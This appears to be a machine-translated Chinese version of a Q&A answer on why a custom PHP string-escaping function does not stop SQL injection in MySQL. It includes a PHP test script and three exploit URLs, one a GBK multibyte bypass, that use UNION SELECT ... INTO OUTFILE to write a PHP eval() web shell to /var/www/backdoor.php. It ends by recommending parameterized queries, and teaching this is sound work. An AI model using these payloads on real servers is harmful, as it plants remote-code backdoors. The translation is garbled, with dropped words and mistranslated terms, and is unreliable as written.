如果您 用替换'
,''
则可以通过注入a来利用它,\'
这将变成a\''
,这将使您突围而出,因为这给了您“字符文字”单引号和真实的单引号。但是,用替换"\\"
可以"\\\\"
抵消此攻击。双单引号用于“转义” MS-sql的单引号,但这不适用于MysqL,但可以使用。
以下代码 此转义功能对于除以下 以外的所有 都是安全的。该代码对控制宪章的所有可能变体进行排列,并测试每一个,以确保使用单引号括住的select语句不会发生错误。此代码已在MysqL 5.1.41上进行了测试。
<?PHP
MysqL_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
MysqL_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".MysqL_error());
}
}
}
}
print "Escape function is safe :(";
?>
MysqL_query("select username from users where id=".escape($_GET['id']));
开发:
http://localhost/sqli_test.PHP?id=union select "<?PHP eval($_GET[e]);?>" into outfile "/var/www/backdoor.PHP"
MysqL_query("select username from users where id=\"".escape($_GET['id'])."\"");
开发:
http://localhost/sqli_test.PHP?id=" union select "<?PHP eval($_GET[e]);?>" into outfile "/var/www/backdoor.PHP" -- 1
。
MysqL_set_charset("GBK")
MysqL_query("select username from users where id='".escape($_GET['id'])."'");
开发:
http://localhost/sqli_test.PHP?id=%bf%27 union select "<?PHP eval($_GET[e]);?>" into outfile "/var/www/backdoor.PHP" -- 1
结论是始终将其MysqL_real_escape_string()
用作MysqL的转义例程。MysqL_real_escape_string()
连接到MysqL数据库时,始终使用参数化查询库(如pdo和adodb)。addslashes()
为 逃生程序,因为它需要照顾的弱势状况2.应当指出的是,甚至没有MysqL_real_escape_string()
停止条件1,但是参数化查询库意愿。